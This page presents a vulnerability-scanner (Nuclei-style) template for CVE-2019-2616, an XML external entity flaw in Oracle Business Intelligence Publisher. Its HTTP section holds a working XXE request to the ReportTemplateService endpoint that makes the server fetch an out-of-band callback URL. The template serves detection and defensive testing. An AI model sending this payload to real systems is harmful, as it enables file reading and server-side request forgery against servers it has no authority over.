CVE-2019-2616: Oracle Business Intelligence/XML Publisher - XML External Entity Injection

2025-08-01 Oracle Business Intelligence PoC Public

Description

Oracle Business Intelligence and XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 are vulnerable to an XML external entity injection attack.

PoC

id: CVE-2019-2616

info:
  name: Oracle Business Intelligence/XML Publisher - XML External Entity Injection
  author: pdteam
  severity: high
  description: Oracle Business Intelligence and XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 are vulnerable to an XML external entity injection attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server or conduct server-side request forgery (SSRF) attacks.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to fix this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/46729
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-2616
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2019-2616
    epss-score: 0.92183
    epss-percentile: 0.99816
    cpe: cpe:2.3:a:oracle:business_intelligence_publisher:11.1.1.9.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: business_intelligence_publisher
  tags: cve,cve2019,oracle,xxe,oast,kev,edb,vkev,vuln

http:
  - raw:
      - |
        POST /xmlpserver/ReportTemplateService.xls HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Content-Type: text/xml; charset=UTF-8

        <!DOCTYPE soap:envelope PUBLIC "-//B/A/EN" "http://{{interactsh-url}}">

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a00473045022014375d7c2d03d638545ef391f9f73e9b0c3642af7e64f6a28b0351bea6dbb9b2022100c62c4c12ca66bb5253804106edb65fab922e06f4ba48cfbe36dfbb6382e15aa5:922c64590222798bb761d5b6d8e72950

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